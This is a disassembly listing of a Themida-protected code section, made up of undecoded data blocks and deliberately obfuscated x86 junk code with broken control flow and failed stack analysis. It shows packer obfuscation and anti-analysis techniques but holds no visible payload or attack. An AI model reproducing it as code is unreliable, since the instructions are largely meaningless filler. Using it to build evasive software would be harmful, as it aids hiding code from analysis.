dd 7BBD7000h, 596E0BB0h, 2D32FE5Ah, 0E6BB443Dh, 90628C4Ah
dd 37DA8166h, 890F5E79h, 5, 9FD08166h, 60D9B214h, 0E8F38B66h
dd 0Fh, 0EA3A5E44h, 6063B42Ah, 0F0DF04A2h, 0E81EB576h
dd 12h, 610D6223h, 7A801F1Ah, 367F9D93h, 0BF05BDC2h, 5B5F0907h
dd 9E961h, 5C250000h, 0BDBF3B9Ah, 0F5A7C60h, 0E86h, 9E900h
dd 3C100000h, 7DC0C703h, 0B65E0592h, 0D88B664Fh, 0FE9h
dd 0EF721B00h, 999B498h, 9CB39FACh, 74BC1273h, 0B9DE52BBh
dd 5BC28019h, 0D1F38166h, 0E9F86014h, 12h, 0DB960D29h
dd 0A79A334h, 3C799DBDh, 7FC5035Ah, 0F61DCAEh, 1289h, 0C890F00h
dd 0E9000000h, 7, 65AD161h, 0B0A161E2h, 0EFBE6602h, 0FEC0801Ah
dd 13E9h, 3AEC9D00h, 3B6CB6C0h, 0D3491FD9h, 0A4EEDEB2h
dd 0E6C86F19h, 0BCB3C78Bh, 0EED98166h, 0BE665344h, 0E85BD996h
dd 10h, 98945D4Eh, 4F17E463h, 93B34475h, 7BF53D24h, 665259FCh
dd 0E599E781h, 0C7BF0F58h, 55D5BF66h, 12E8h, 0C1B9D000h
dd 71F070EBh, 3C9D7EDDh, 3E6C0B1Eh, 0F8E7C8A6h, 5E85Ah
dd 94810000h, 6664116Ch, 2F68E681h, 850F5Ah, 81000000h
dd 52EAAE8h, 860F536Ah, 0
; ---------------------------------------------------------------------------
pop eax
xor ax, 0F288h
xor bh, 27h
pusha
push edi
jmp loc_5D0079
; ---------------------------------------------------------------------------
add al, 19h
imul eax, esi
sti
shr dword ptr [esp+esi], 1 ; CODE XREF: Themida_:005D00DEj
loc_5D0079: ; CODE XREF: Themida_:005D006Bj
pop edi
and ch, 0EEh
popa
jmp loc_5D0089
; ---------------------------------------------------------------------------
db 60h
dd 0C3F688E0h
db 0Fh
; ---------------------------------------------------------------------------
loc_5D0089: ; CODE XREF: Themida_:005D007Ej
jnp loc_5D0091
mov eax, ebx
loc_5D0091: ; CODE XREF: Themida_:loc_5D0089j
; Themida_:005D00FFj
sbb edx, 53900F41h
sbb dl, 46h
jnz loc_5D00B1
jmp loc_5D00B1
; ---------------------------------------------------------------------------
db 0A2h, 31h, 17h
dd 0D7327812h, 6DE9F353h
; ---------------------------------------------------------------------------
sti
loc_5D00B1: ; CODE XREF: Themida_:005D009Aj
; Themida_:005D00A0j
jmp loc_5D00BB
; ---------------------------------------------------------------------------
dw 0E9Ch
db 81h, 0CAh, 9Bh
; ---------------------------------------------------------------------------
loc_5D00BB: ; CODE XREF: Themida_:loc_5D00B1j
jnp loc_5D00D2
jmp loc_5D00D2
; ---------------------------------------------------------------------------
dw 61D5h
dd 0F5540192h, 7D3EE50Ch
; ---------------------------------------------------------------------------
xor [ebx], cl
loc_5D00D2: ; CODE XREF: Themida_:loc_5D00BBj
; Themida_:005D00C1j
call sub_5D00EA
add eax, 7E75A972h
in eax, 18h
js short near ptr loc_5D0076+2
mov dword ptr [edi+7DFFD3E4h], 2805707h
; =============== S U B R O U T I N E =======================================
sub_5D00EA proc near ; CODE XREF: Themida_:loc_5D00D2p
jns loc_5D00F1
cmc
loc_5D00F1: ; CODE XREF: sub_5D00EAj
pop ebx
call near ptr loc_5D00FD+1
push es
mov edx, 0FFCD0E30h
loc_5D00FD: ; CODE XREF: sub_5D00EA+8p
mov bh, 80h
sub_5D00EA endp ; sp-analysis failed
jecxz short near ptr loc_5D0091+4
pop ecx
mov bl, al
jg loc_5D0120
push ebx
call near ptr loc_5D011B+3
mov dl, 9Ch
inc eax
test byte ptr [ebx], 4
out 0Dh, al ; DMA controller, 8237A-5.
; master clear.
; Any OUT clears the ctrlr (must be re-initialized)
popf
dec ecx
popa
loc_5D011B: ; CODE XREF: Themida_:005D010Bp
mov esi, 58593990h
loc_5D0120: ; CODE XREF: Themida_:005D0104j
push edi
jmp loc_5D012B
; ---------------------------------------------------------------------------
mov ebx, 811C0242h
loc_5D012B: ; CODE XREF: Themida_:005D0121j
pop eax
mov di, bx
mov esi, 545841F2h
sub al, 3Ch
mov ch, 0Ah
pusha
pusha
pusha
popa
jnz $+6
popa
mov bx, ax
popa
mov ebx, eax
clc
jbe loc_5D015D
pusha
jz $+6
mov si, 0EA7h
popa
loc_5D015D: ; CODE XREF: Themida_:005D014Bj
jmp loc_5D016D
; ---------------------------------------------------------------------------
dw 0F49Ch
dd 0E2348C24h, 61414EB7h
db 0C6h
; ---------------------------------------------------------------------------
loc_5D016D: ; CODE XREF: Themida_:loc_5D015Dj
jb loc_5D0178
mov eax, 4160F88Fh
loc_5D0178: ; CODE XREF: Themida_:loc_5D016Dj
xor edx, 332F692Ch
movzx edx, di
movzx edx, bx
mov ax, si
jg loc_5D01A1
jmp loc_5D01A1
; ---------------------------------------------------------------------------
dw 780Bh
dd 9ABF6215h, 3CFEBCBCh, 3C6C7171h
; ---------------------------------------------------------------------------
pop edi
loc_5D01A1: ; CODE XREF: Themida_:005D0187j
; Themida_:005D018Dj
mov edi, 2433D9A1h
cmc
sub ax, 0F859h
call near ptr loc_5D01B9+4
and [ebx-3Eh], ebp
mov al, ds:73A1DDB2h
loc_5D01B9: ; CODE XREF: Themida_:005D01ACp
xor dword ptr [ebp-1Ah], 0E958F89Ch
adc al, 0
; ---------------------------------------------------------------------------
dw 0
dd 0DF3CEC9Fh, 0E2FD9E38h, 0F6031D66h, 0AF9FB8E4h, 61D95596h
dd 0E803D580h, 11h, 0DD7B0844h, 405F3270h, 7753DBD3h, 467290D1h
dd 0C2B70F51h, 38A0F5Ah, 66000000h, 870FD18Bh, 8, 28B0Fh
dd 0D78B0000h, 2850Fh, 0EF8A0000h, 0E9FB8B66h, 13h, 0A9BD3E25h
dd 275166AEh, 5484BF0Ch, 0F7D37CEh, 0F3C4143h, 5E9D2BFh
dd 0BE000000h, 672782C1h, 860Fh, 8B560000h, 0B9665BDEh
dd 8A0FC39Eh, 3, 60A5CE80h, 0E8FA8B66h, 9, 4378F7Ah, 69A05F52h
dd 0BE972h, 37510000h, 0E5533126h, 0E24B7DDBh, 8B615874h
dd 0CB8B66D8h, 9E9h, 5C45F000h, 994CD03Ah, 8166F6F1h, 0FDA25F0h
dd 0B70FD8BFh, 0F5CB7FBh, 870FD0BFh, 4, 0F722BE66h, 0D848F081h
dd 0B70F4263h, 605956FEh, 6CE8E6BAh, 0D08B6067h, 7CE7C881h
dd 616135D9h, 0D2CE8166h, 0AE9569Ch, 0ED000000h, 0A17723C0h
dd 829D9C85h, 8A0F5E6Bh, 4, 5AFB8B50h, 3860Fh, 0BF0F0000h
dd 7FA4B8F0h, 0B70F0987h, 0EE9DAh, 73F40000h, 0F5E469EAh
dd 164FE21Ch, 0E874F1E7h, 10E8h, 4B38700h, 6EC867CEh, 38179B8h
dd 4D33B47Ah, 74E580A1h, 58B0F5Ah, 66000000h, 37EEDF81h
dd 68E28166h, 13E9C6h, 924F0000h, 6629F4CFh, 2229982Ah
dd 9C7E224h, 83D80CB2h, 0BF0FFC30h, 0D18166CFh, 830FAE01h
dd 9, 3890Fh, 0BF0F0000h, 6090B6D8h, 6830Fh, 8E0F0000h
dd 0
dd 44C78166h, 66526168h, 0DEDAEB81h, 58A0F58h, 0B9000000h
dd 61B779C8h, 7E8h, 0EA9C7C00h, 0BBE0E91Ch, 0F18B6659h
dd 0D281D88Bh, 7369965Fh, 8B15EB80h, 0DE8166C8h, 0F08B1179h
dd 0BBE88166h, 0B866565Fh, 0E9582C93h, 14h, 0FC920A2Ch
dd 0E22BF8DFh, 8DC0B794h, 7544B778h, 57347FABh, 78F08166h
dd 8B665253h, 12E959F9h, 8C000000h, 7D76C8DFh, 0B1CAC38h
dd 0CFAE309Ah, 9AA37FB0h, 38B0F18h, 66000000h, 6651F18Bh
dd 5A7FC3BFh, 58B0Fh, 10BE0000h, 667B0035h, 0BE24EABFh
dd 112DC215h, 0FE9h, 0BA58C600h, 0E171D12h, 0B8A28C0Ah
dd 9553A13Dh, 0AE8DF8Bh, 20000000h, 0DEC2F1CDh, 0C71EA03Eh
dd 58B4B7F5h, 0B866C28Bh, 0DF804403h, 0E580600Eh, 0FC61F8F5h
dd 0FE8h, 42E0DA00h, 0ABFC9EE9h, 0DE83084h, 9DE983DFh
dd 0FE9h, 0E9615A00h, 2A7C5033h, 77C816B6h, 0FC51EDACh
dd 0D681665Bh, 79B6F6C4h, 20C08166h, 0AE821h, 56E70000h
dd 0FDB68376h, 893E590Ah, 8A0F60h, 61000000h, 13E9F95Ah
dd 57000000h, 81B1E5A1h, 3BDE090Bh, 0F65FF8B3h, 1F813DD8h
dd 0FE806E1h, 0E8000000h, 7A19E9D7h, 4E4659C2h, 0D8878A62h
dd 0DE81A174h, 2937F886h, 3820F5Eh, 0F000000h, 14E9CAB7h
dd 18000000h, 7F278A02h, 34632850h, 6D1CCE2Bh, 0A5E459D0h
dd 66A16BFEh, 8B66D38Bh, 40C280F9h, 5650CA8Bh, 8D14DE81h
dd 5F59576Eh, 8166F78Bh, 0F81BED6h, 1A83h, 0FE800h, 69B30000h
dd 36156413h, 0DCE4A58h, 0DCE5FA75h, 0C9816604h, 0BA5E5721h
dd 115727E1h, 5E960h, 0AC0F0000h, 619DC425h, 6CA776BEh
dd 0B8666025h, 810FCB94h, 6, 8A0Fh, 60610000h, 0B89F49BAh
dd 0A9BDBB6Fh, 8A61726Bh, 57C38BD8h, 0BFC18166h, 60505E01h
dd 0BE9h, 0D3119500h, 0C71A391Ah, 0A11173B1h, 815E61F5h
dd 2E9904E8h, 81CA8170h, 0E942777Bh, 0Bh, 3D8F60A6h, 214DB3FEh
dd 81676EF1h, 0BDEEB7C6h, 0A890F75h, 0E9000000h, 5, 276EB1C8h
dd 8E903h, 0A0C70000h, 0A3565A01h, 810FF7E3h, 0
; ---------------------------------------------------------------------------
mov ax, 0DF3Ch
mov cx, 79BAh
jmp loc_5D05DD
; ---------------------------------------------------------------------------
db 0EFh, 0FBh, 48h
dd 75345513h, 0B64C171Bh, 5B31BE10h
db 78h
; ---------------------------------------------------------------------------
loc_5D05DD: ; CODE XREF: Themida_:005D05C8j
mov cx, dx
xor ax, 0D5A5h
mov edx, esi
mov di, 0FB75h
jns loc_5D05FD
jmp loc_5D05FD
; ---------------------------------------------------------------------------
dw 1F99h
dd 0EC01FA09h
db 0BEh
; ---------------------------------------------------------------------------
loc_5D05FD: ; CODE XREF: Themida_:005D05EBj
; Themida_:005D05F1j
call loc_5D0609
cmpsd
xor al, 9Fh
dec ebx
les ebp, [ebx-19h]
loc_5D0609: ; CODE XREF: Themida_:loc_5D05FDp
sub al, 0Ah
pop ecx
pusha
mov bx, dx
adc dx, 403Ah
popa
mov di, 0C04Eh
xor edx, 747F5954h
push esi
mov edx, 364A1549h
pop edx
jge loc_5D064A
call sub_5D0646
inc ecx
xchg eax, ecx
xchg eax, ecx
inc ecx
inc edx
inc eax
pushf
; ---------------------------------------------------------------------------
dw 0F78Eh
dd 0FAA31F73h, 0F8712503h
; ---------------------------------------------------------------------------
std
lodsb
; =============== S U B R O U T I N E =======================================
sub_5D0646 proc near ; CODE XREF: Themida_:005D062Ep
mov di, bx
pop edi
loc_5D064A: ; CODE XREF: Themida_:005D0628j
call near ptr loc_5D0659+3
and eax, 10EE7208h
inc esi
xchg eax, [edx]
inc eax
loc_5D0659: ; CODE XREF: sub_5D0646:loc_5D064Ap
mov esp, 50609482h
sub_5D0646 endp ; sp-analysis failed
pop ecx
popa
pop ebx
jb loc_5D0681
pusha
call sub_5D067C
cwde
jmp near ptr 1ACC0087h
; ---------------------------------------------------------------------------
db 56h
dd 0F5E74A63h, 367CDC3Dh
; =============== S U B R O U T I N E =======================================
sub_5D067C proc near ; CODE XREF: Themida_:005D0668p
pop ecx
mov si, ax
popa
loc_5D0681: ; CODE XREF: Themida_:005D0661j
xor ah, 8Dh
loc_5D0684: ; CODE XREF: sub_5D06CC+30j
call near ptr loc_5D0693+1
fcomp dword ptr ds:0E2309E55h
wait
sbb [esi-5Ah], bl
loc_5D0693: ; CODE XREF: sub_5D067C:loc_5D0684p
call near ptr 0E6DE66F0h
sub_5D067C endp ; sp-analysis failed
add bl, bl
push esp
adc [esi-7Fh], esp
leave
cmpsb
rep popa
call sub_5D06B5
pop ebp
inc ebp
or [bp+si], edx
retf 8DCEh
; ---------------------------------------------------------------------------
db 26h
dd 0FBAD062Fh
db 0F6h
; =============== S U B R O U T I N E =======================================
sub_5D06B5 proc near ; CODE XREF: Themida_:005D06A2p
pop eax
or edx, 3F8B0992h
call near ptr sub_5D06CC
std
fimul dword ptr [ecx-3B16747h]
jnp short loc_5D071B
bound esp, [ebx]
sub_5D06B5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D06CC proc far ; CODE XREF: sub_5D06B5+7p
or ecx, 2287AE14h
pop edx
push edi
jnp loc_5D06DC
mov ebx, edx
loc_5D06DC: ; CODE XREF: sub_5D06CC+8j
pop edx
pusha
movsx eax, di
push ecx
pusha
popa
pop ecx
popa
pusha
popa
jp loc_5D06F6
jnb loc_5D06F6
mov dl, 0A9h
loc_5D06F6: ; CODE XREF: sub_5D06CC+1Cj
; sub_5D06CC+22j ...
cld
call near ptr sub_5D0702
jo short loc_5D0684
push cs
retf
sub_5D06CC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
sub cl, bl
; =============== S U B R O U T I N E =======================================
sub_5D0702 proc far ; CODE XREF: sub_5D06CC+2Bp
push eax
mov edx, 1EBEEBAFh
pop esi
pop ebx
mov bh, 8Fh
jmp loc_5D0725
; ---------------------------------------------------------------------------
pop ebp
dec ebx
sbb byte ptr [ecx-7Ah], 55h
mov [edx], eax
push ecx
retf
; ---------------------------------------------------------------------------
loc_5D071B: ; CODE XREF: sub_5D06B5+13j
ja short loc_5D06F6
rol dword ptr [edx+5C2EEC91h], cl
aad 28h
loc_5D0725: ; CODE XREF: sub_5D0702+Aj
mov si, cx
call sub_5D0740
ja short loc_5D0791
fst dword ptr [eax]
pop ebx
or [esi+770E3A3Ah], ecx
mov ds:8EA13EC1h, al
bound ecx, [edx+60h]
sub_5D0702 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D0740 proc near ; CODE XREF: sub_5D0702+26p
mov ax, 7FECh
pop edi
mov ecx, ebx
jle $+6
jmp loc_5D0763
; ---------------------------------------------------------------------------
dw 0B7D3h
dd 0D76A8EB9h, 0EA7C90FBh, 53B3847Ch
db 0Fh, 0B9h, 76h
; ---------------------------------------------------------------------------
loc_5D0763: ; CODE XREF: sub_5D0740+Dj
mov eax, 1DD727E4h
pusha
jle loc_5D0773
mov dx, 0C69Ah
loc_5D0773: ; CODE XREF: sub_5D0740+29j
movzx edi, si
popa
jmp loc_5D0786
; ---------------------------------------------------------------------------
xor [ebx], ah
cmpsd
scasd
scasb
int 3 ; Trap to Debugger
sub esi, ecx
jb short loc_5D07EA
loc_5D0786: ; CODE XREF: sub_5D0740+37j
jmp loc_5D079C
; ---------------------------------------------------------------------------
db 0D5h
dd 6552BA98h
db 33h
; ---------------------------------------------------------------------------
loc_5D0791: ; CODE XREF: sub_5D0702+2Bj
lodsb
mov [ebx], ecx
xchg eax, ecx
cmp ecx, [edx+ebx+1Ch]
stc
dec esi
push ebx
loc_5D079C: ; CODE XREF: sub_5D0740:loc_5D0786j
mov edi, 7453AFB5h
mov esi, 285AE1E8h
or ebx, 25139DE0h
pusha
mov bx, 0AE82h
mov esi, edx
popa
mov al, 9Eh
jmp loc_5D07C3
; ---------------------------------------------------------------------------
db 37h
dd 0B20B1408h
db 6, 0Ah, 34h
; ---------------------------------------------------------------------------
loc_5D07C3: ; CODE XREF: sub_5D0740+76j
mov edi, ebx
adc edx, 6F9E307Ch
jmp loc_5D07D7 ; CODE XREF: sub_5D0740+BBj
; ---------------------------------------------------------------------------
dd 0E55827EDh
db 72h, 49h, 0A8h
; ---------------------------------------------------------------------------
loc_5D07D7: ; CODE XREF: sub_5D0740+8Bj
xor eax, 63FBD04Ah
mov eax, ebx
jnp loc_5D0802
call sub_5D07FE
loc_5D07EA: ; CODE XREF: sub_5D0740+44j
stosb
cmpsb
cmp al, 59h
sub [edx], ah
sub eax, 82CF10ADh
mov ch, 82h
xchg eax, ebx
db 65h
push 0FFFFFFFCh
ja short near ptr loc_5D07CB+2
inc ebx
sub_5D0740 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D07FE proc near ; CODE XREF: sub_5D0740+A5p
movsx edi, dx
pop ebx
loc_5D0802: ; CODE XREF: sub_5D0740+9Fj
adc ax, 46h
mov ebx, 1A5EE753h
mov eax, 342A85A0h
push eax
movzx ecx, bx
pop edx
jmp loc_5D0824
; ---------------------------------------------------------------------------
db 0C4h
dd 0C8547E02h, 0C0371B55h
; ---------------------------------------------------------------------------
loc_5D0824: ; CODE XREF: sub_5D07FE+18j
or dx, 691Eh
jmp loc_5D0841
; ---------------------------------------------------------------------------
dw 2B09h
dd 596F100Dh, 19205129h, 0ECD9D6B3h, 5007F0B6h
db 0
; ---------------------------------------------------------------------------
loc_5D0841: ; CODE XREF: sub_5D07FE+2Bj
push esi
pusha
call near ptr loc_5D0850+5
rol byte ptr [edi+esi+7973563h], 91h
loc_5D0850: ; CODE XREF: sub_5D07FE+45p
jmp fword ptr [ebx+5FDE5AB9h]
sub_5D07FE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov eax, 5CEDAAA3h
popa
pop ecx
movsx edx, bx
push ecx
movzx ebx, si
pop edi
push edi
jmp loc_5D087C
; ---------------------------------------------------------------------------
db 8
dd 110C4133h, 293684h, 0ECF534D5h, 34A9752h
; ---------------------------------------------------------------------------
loc_5D087C: ; CODE XREF: Themida_:005D0866j
pop ecx
call near ptr loc_5D0883+5
stc
loc_5D0883: ; CODE XREF: Themida_:005D087Dp
fnstcw word ptr [ebp+66AA246Ah]
mov ecx, ebx
pop eax
jnb loc_5D08A0
pusha
jz $+6
add esi, 6E371221h
popa
loc_5D08A0: ; CODE XREF: Themida_:005D088Cj
jnp loc_5D08BE
call loc_5D08BD
lahf
mov dh, [edx]
shr dword ptr [esi-2DA45CF2h], 0CAh
; ---------------------------------------------------------------------------
db 8Eh, 0B5h, 0A6h
dd 64CDE575h
; ---------------------------------------------------------------------------
pop ds
loc_5D08BD: ; CODE XREF: Themida_:005D08A6p
pop ecx
loc_5D08BE: ; CODE XREF: Themida_:loc_5D08A0j
mov ecx, 6B33D8EBh
jmp loc_5D08D6
; ---------------------------------------------------------------------------
dd 7711F1FAh, 0FE9983CFh, 0F07563F7h
db 4Ch, 0B9h
; ---------------------------------------------------------------------------
loc_5D08D6: ; CODE XREF: Themida_:005D08C3j
mov esi, edi
sub eax, 2281F098h
or cl, 2Dh
or edi, 6AD273A3h
jg loc_5D08EF
push ebx
pop edi
loc_5D08EF: ; CODE XREF: Themida_:005D08E7j
mov si, di
call sub_5D0904
xchg eax, esp
push ebp
; ---------------------------------------------------------------------------
db 8Fh, 0D8h, 6Ch
dd 182F78D5h, 513ABFC2h
; =============== S U B R O U T I N E =======================================
sub_5D0904 proc near ; CODE XREF: Themida_:005D08F2p
; sub_5D093B+36j
jbe loc_5D090F
adc ax, 0FD6h
loc_5D090F: ; CODE XREF: sub_5D0904j
pop esi
cmc
jmp loc_5D0926
; ---------------------------------------------------------------------------
dw 0EC17h
dd 3D9C2574h, 2F41543Dh, 481A606Bh
db 18h, 85h
; ---------------------------------------------------------------------------
loc_5D0926: ; CODE XREF: sub_5D0904+Dj
mov edx, edi
push ecx
call sub_5D093B
iret
sub_5D0904 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0BAh
dd 21162BFh, 9646F189h
db 0AEh, 95h, 89h
; =============== S U B R O U T I N E =======================================
sub_5D093B proc near ; CODE XREF: sub_5D0904+25p
mov ebx, esi
pop edx
pop esi
jmp loc_5D0958
; ---------------------------------------------------------------------------
dd 52800720h, 0D5784BC3h, 7F1994DCh, 0FE9B3852h, 72D65A81h
; ---------------------------------------------------------------------------
loc_5D0958: ; CODE XREF: sub_5D093B+4j
push esi
mov ebx, 130996F0h
pop ebx
mov di, 22E0h
or di, 0B58Fh
call near ptr loc_5D0976+1
adc byte ptr [ebx-34h], 0DCh
jge short near ptr sub_5D0904+5
dec ebx
dec ebp
leave
loc_5D0976: ; CODE XREF: sub_5D093B+2Dp
sbb byte ptr [ebx+0Fh], 0BFh
sub_5D093B endp ; sp-analysis failed
mov byte ptr [esi+60h], 0Fh
mov edi, 12E8C6h
; ---------------------------------------------------------------------------
db 0
dd 9F5D9B00h, 7948B13Ah, 2E7DE471h, 5BBB87C3h, 59C0868Ah
dd 840F5861h, 2, 8B0FE28Ah, 0Bh, 58B0Fh, 0CFBB0000h, 0E86A9E53h
dd 0Dh, 0EFAB463h, 0C5163D37h, 0E257A954h, 68B0F08h, 0F000000h
dd 8Dh, 0B70F5900h, 0BB6656C1h, 815978F2h, 1AC6FCE2h, 88F0F44h
dd 51000000h, 6874C781h, 66583893h, 7AB0C18Bh, 0BE8h, 0F691CC00h
dd 36DBC82Ah, 875606D6h, 0FEB70F57h, 0E881595Fh, 628ED4D2h
dd 5E95E0BEh, 7E97Fh, 1EC10000h, 966262B6h, 87C58022h
dd 98D0Fh, 66600000h, 0BA66F18Bh, 66611175h, 0E860CB8Bh
dd 8, 9C8E53C4h, 4B7EE35Ch, 90D1815Eh, 6110577Ch, 51B866F9h
dd 382CBB6Eh, 10E93D31h, 87000000h, 48463BE3h, 5CF7D174h
dd 4B38A20Ch, 8B9271DFh, 0B70F56F2h, 0B4BB58D1h, 0E96709DAh
dd 0Bh, 0D232B532h, 914BFA1Bh, 0F009AFBh, 148Fh, 0EE800h
dd 73A00000h, 0D68B99D6h, 82FB5941h, 96BA1429h, 63BE665Bh
dd 0DABF0F6Ch, 0FE9h, 6EA6E00h, 0AD10DBF2h, 0F6D7BFD5h
dd 6B231420h, 0A8B8DA8Bh, 0E876B563h, 0Fh, 524181C7h, 0B68BB95Ah
dd 0A2A10AD5h, 0BB2E8F7Bh, 5B4526C2h, 8B666058h, 0BF0F60F9h
dd 3ED081F8h, 61310F3Bh, 2860F61h, 8A000000h, 7870FDCh
dd 60000000h, 8BF98B66h, 62B861D7h, 661FA6D9h, 2C84E881h
dd 81DAB70Fh, 7521A1CEh, 6E9F505h, 0D8000000h, 7FDE250Eh
dd 0FB8B6681h, 0CE9h, 0A8B53000h, 63B6B160h, 22FBB9EAh
dd 0FD78B8Eh, 12B7F6BFh, 0EE9h, 68BA8E00h, 26DEFAE4h, 2E9D50BAh
dd 66F68523h, 7E9D18Bh, 0AB000000h, 3E0B60C2h, 8D0FB54Bh
dd 6, 0B12FC681h, 0F1813D47h, 748D6CE3h, 0BFE38166h, 0CF45BF1Ah
dd 81667C7Eh, 66A167F6h, 0F86DDA81h, 66F28B66h, 810FDA8Bh
dd 2, 0E9575953h, 0Fh, 210767A3h, 377C6BABh, 381B886Bh
dd 58A4FA2Ah, 0FE9h, 9EF21B00h, 58C49AB7h, 0D3088C58h
dd 0F6DFDAC3h, 0FC4AC180h, 13E960h, 0AB8A0000h, 493D509Ah
dd 8E319BC1h, 19B22472h, 324D2ABDh, 0FBBF0F5Ah, 0CDDF8061h
dd 94EE8050h, 38E28158h, 0F4623FCh, 2E88h, 13E800h, 3D700000h
dd 5D372EA9h, 0F87DB603h, 2E9A4179h, 36CBAA62h, 10E9C6h
dd 347F0000h, 0A9B64757h, 1B38D2D1h, 0FAD22B88h, 0E8591CBCh
dd 5, 3183679Fh, 8B665EE6h, 7E9D0h, 0BB40000h, 5C10C412h
dd 0F7B70F17h, 94CEE1BEh, 0FF28B12h, 387h, 0DBB70F00h
dd 2CE980F5h, 0EE20FEBFh, 38C0F14h, 80000000h, 0B70FF4E5h
dd 4AEA80D6h, 6E851h, 0A9870000h, 0C5D82E70h, 830Fh, 5A580000h
dd 0DE8h, 0B06DFC00h, 270F81CDh, 417F9EAAh, 85BABBA0h
dd 5A37C501h, 26A4BF66h, 0DE8B6660h, 0F61C38Bh, 781h, 0C7B95600h
dd 5B193AACh, 14E9h, 0BE4C9F00h, 39203155h, 2E337FC0h
dd 4A969A59h, 0F70FD15Ch, 66D18ABAh, 668846BBh, 9BB1DF81h
dd 5BDE8A50h, 996FE281h, 0E2812F3Ah, 6BF79EC0h, 4820Fh
dd 0BF660000h, 5BB3F2CCh, 10E9h, 0B7910F00h, 0A5158DB7h
dd 2462D885h, 0F0421122h, 5E833h, 50640000h, 597EBE87h
dd 0B8FB8B66h, 1CB3F4F5h, 0E8FBB70Fh, 6, 5D8D8F30h, 8C0F0C51h
dd 5, 3BD78166h, 0AE95F92h, 0B6000000h, 94A7020Fh, 1EB1D83Ah
dd 8A0F60E6h, 2, 8B0F6160h, 0
; ---------------------------------------------------------------------------
popa
jle loc_5D0D55
or ebx, 796FE6Ah
loc_5D0D55: ; CODE XREF: Themida_:005D0D49j
jmp loc_5D0D68
; ---------------------------------------------------------------------------
dw 9E75h
dd 0A06E20D0h, 475C206Eh, 5F7D87E5h
; ---------------------------------------------------------------------------
loc_5D0D68: ; CODE XREF: Themida_:loc_5D0D55j
xor di, 447Bh
jmp loc_5D0D82
; ---------------------------------------------------------------------------
cmp al, 7Ch
xchg eax, esi
push esp
pusha
lodsd
movsd
sub eax, 430D84E6h
jmp fword ptr [ebp-7Fh]
; ---------------------------------------------------------------------------
scasd
loc_5D0D82: ; CODE XREF: Themida_:005D0D6Dj
mov dx, ax
adc si, 0E429h
movsx ecx, si
pusha
sub di, 23A6h
movsx ecx, ax
popa
jmp loc_5D0DA8
; ---------------------------------------------------------------------------
dd 9D586F69h, 0FEA92DA6h, 8E298C87h
; ---------------------------------------------------------------------------
loc_5D0DA8: ; CODE XREF: Themida_:005D0D97j
add ax, 73BFh
mov di, si
mov cx, bx
mov edi, esi
mov bx, ax
movsx ebx, si
movsx eax, bx
or eax, 3A3331F2h
jp $+6
call sub_5D0DE2
pushf
jl short loc_5D0E48
pop ecx
adc bh, [edx]
mov dh, 0E6h
fbld tbyte ptr [edx-0DC872E7h]
mov ds:5F317A2Eh, al
; =============== S U B R O U T I N E =======================================
sub_5D0DE2 proc near ; CODE XREF: Themida_:005D0DCAp
jnp loc_5D0DEA
mov bh, 0D9h
loc_5D0DEA: ; CODE XREF: sub_5D0DE2j
pop edi
jo loc_5D0DFC
js loc_5D0DFC
mov ebx, 6D28A28h
loc_5D0DFC: ; CODE XREF: sub_5D0DE2+9j
; sub_5D0DE2+Fj
call sub_5D0E14
mul dword ptr [ebx+6A4A8C12h]
mov ecx, [ecx+27F6C4A8h]
pop ebx
inc esi
call near ptr 0C65C05C7h
sub_5D0DE2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D0E14 proc near ; CODE XREF: sub_5D0DE2:loc_5D0DFCp
; FUNCTION CHUNK AT 005D0E4A SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005D0E8D SIZE 0000003E BYTES
; FUNCTION CHUNK AT 005D0ED7 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005D0F01 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005D0F22 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005D0F37 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005D0F54 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005D0F86 SIZE 0000000C BYTES
mov ebx, edx
pop edi
mov al, 90h
jmp loc_5D0E27
; ---------------------------------------------------------------------------
dw 2565h
dd 5175CA23h
db 54h, 0C5h, 0BAh
; ---------------------------------------------------------------------------
loc_5D0E27: ; CODE XREF: sub_5D0E14+5j
jz loc_5D0E32
mov eax, 4A5BDC09h
loc_5D0E32: ; CODE XREF: sub_5D0E14:loc_5D0E27j
mov cx, 0AB1Ch
push ecx
ja loc_5D0E4A
call near ptr loc_5D0E48+1
iret
sub_5D0E14 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0B4h
dd 3D2B9936h
; ---------------------------------------------------------------------------
loc_5D0E48: ; CODE XREF: Themida_:005D0DD0j
; sub_5D0E14+29p
loop near ptr loc_5D0EA2+2
; START OF FUNCTION CHUNK FOR sub_5D0E14
loc_5D0E4A: ; CODE XREF: sub_5D0E14+23j
pop ebx
jz loc_5D0E54
mov di, ax
loc_5D0E54: ; CODE XREF: sub_5D0E14+37j
sbb ah, 0CEh
mov edx, ecx
mov esi, 2D7B5A23h
pusha
jl $+6
popa
and si, 0CAB9h
movzx edi, di
mov eax, 1CDE7E09h
clc
ja loc_5D0E8D
jmp loc_5D0E8D
; END OF FUNCTION CHUNK FOR sub_5D0E14
; ---------------------------------------------------------------------------
db 5Bh
db 90h
db 1Ch, 8Fh, 0B9h
dd 29682F6h, 6D482528h
db 0E4h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D0E14
loc_5D0E8D: ; CODE XREF: sub_5D0E14+60j
; sub_5D0E14+66j
sub si, 3056h
mov edx, 7BBA0343h
xor eax, 2343391Bh
add di, 0D249h
loc_5D0EA2: ; CODE XREF: Themida_:loc_5D0E48j
mov cx, 4E43h
call near ptr loc_5D0EB5+1
std
or bl, [ecx+3Eh]
mov ds:0E2AB729Fh, esp
loc_5D0EB5: ; CODE XREF: sub_5D0E14+92p
adc al, 8Bh
sti
pop ecx
jge $+6
cmc
and dx, 195Bh
clc
jmp loc_5D0ED7
; END OF FUNCTION CHUNK FOR sub_5D0E14
; ---------------------------------------------------------------------------
db 0B6h
dd 0F170D259h, 23D0170Fh
; ---------------------------------------------------------------------------
